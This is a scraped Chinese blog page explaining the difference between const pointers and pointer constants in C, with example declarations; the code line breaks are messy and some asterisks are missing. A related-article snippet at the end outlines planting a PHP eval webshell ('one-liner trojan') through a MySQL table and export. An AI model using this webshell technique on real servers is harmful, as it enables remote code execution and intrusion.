一句話區分指標變數和變數指標

2021-08-21 08:48:17 字數 629 閱讀 5289

區分是常量指標還是指標常量,關鍵要看const修飾的是誰。

int const

與const int

表達的意思是一樣的。

常量指標:const在

*前面,指向常量的指標

int const *n;或者是

const int *n

指標常量:const在

*後面,指標本身是常量,不可修改

int *const n;

例子:1.常量指標

int a,b;

const int *p = &a;

//常量指標

*p = 8;    //錯誤,*p不可修改 (

error

) p = &b         //正確,p 可以修改

p = &b

2.指標常量

int a;

int * const p = &a    //指標常量

*p = 8;   //正確,

*p可以修改

p++        //錯誤

,p不可以修改

一句話區分常量指標和指標常量

學過c或者c 的人都知道,剛開始接觸指標時一定會被常量指標和指標常量搞得暈頭轉向,兩者老是傻傻分不清楚。我昨天想到了乙個辦法,可以讓大家很容易的區分兩者。首先來看一下兩者的寫法 常量指標 int const n 或者是 const int n 指標常量 int const n 這裡我們將const讀...

一句話區分常量指標和指標常量

出處 學過c或者c 的人都知道,剛開始接觸指標時一定會被常量指標和指標常量搞得暈頭轉向,兩者老是傻傻分不清楚。我昨天想到了乙個辦法,可以讓大家很容易的區分兩者。首先來看一下兩者的寫法 常量指標 int const n 或者是 const int n 指標常量 int const n 這裡我們將con...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...